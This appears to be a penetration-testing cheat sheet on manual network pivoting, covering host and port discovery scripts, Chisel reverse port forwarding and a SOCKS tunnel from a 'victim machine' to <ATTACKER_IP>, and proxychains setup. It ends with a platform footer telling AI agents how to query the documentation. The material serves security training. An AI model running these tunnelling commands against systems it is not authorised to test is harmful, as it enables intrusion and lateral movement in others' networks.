> For the complete documentation index, see [llms.txt](https://sec88.0x88.online/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec88.0x88.online/network-sec/post-exploitation/pivoting.md).

# Pivoting

Pivoting is a crucial technique in ethical hacking and penetration testing, allowing attackers to extend their reach within a network. The provided Cheatsheet outlines the process of pivoting manually, without relying on tools like Metasploit. Let's break down the steps:

#### 1. Discover Active Machines

* Use the `host_discovery.sh` script to ping all IPs on the specified network.
* Example:

  ```bash
  bash host_discovery.sh 10.10.2
  ```

#### 2. Discover Open Ports

* Utilize the `port_discovery.sh` script to discover open ports on the active machines.
* Example:

  ```bash
  bash port_discovery.sh <IP_ADDRESS>
  ```

#### 3. Port Forwarding with Chisel

* Download and use Chisel for port forwarding. Transfer the Chisel binary to the victim machine.
* On the attacker's machine:

  ```bash
  ./chisel server --reverse -p 1234
  ```
* On the victim machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:80:<TARGET_IP>:80
  ```

#### 4. Tunneling Networks

<figure><img src="/files/1etmL8sgfbLjSjqGurmJ" alt=""><figcaption></figcaption></figure>

* Create a tunnel between networks using Chisel for network pivoting.
* On the attacker's machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:socks
  ```
* Modify `/etc/proxychains.conf` to use the created tunnel.

<figure><img src="/files/Lp9zUCZ1GAXiNjVEnC3H" alt=""><figcaption><p>uncomment this line</p></figcaption></figure>

<figure><img src="/files/PNLKRbddy8Ik0TVziAn8" alt=""><figcaption><p>in the end of the file</p></figcaption></figure>

<figure><img src="/files/H9GGrKnbBVIc9QiZGcBi" alt=""><figcaption><p>Result</p></figcaption></figure>

#### Automation with Pivoting\_Enum Bash Script

* Transfer and execute the `pivoting.sh` script on the victim machine.
* Example:

  ```bash
  bash pivoting.sh NETWORK
  ```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sec88.0x88.online/network-sec/post-exploitation/pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
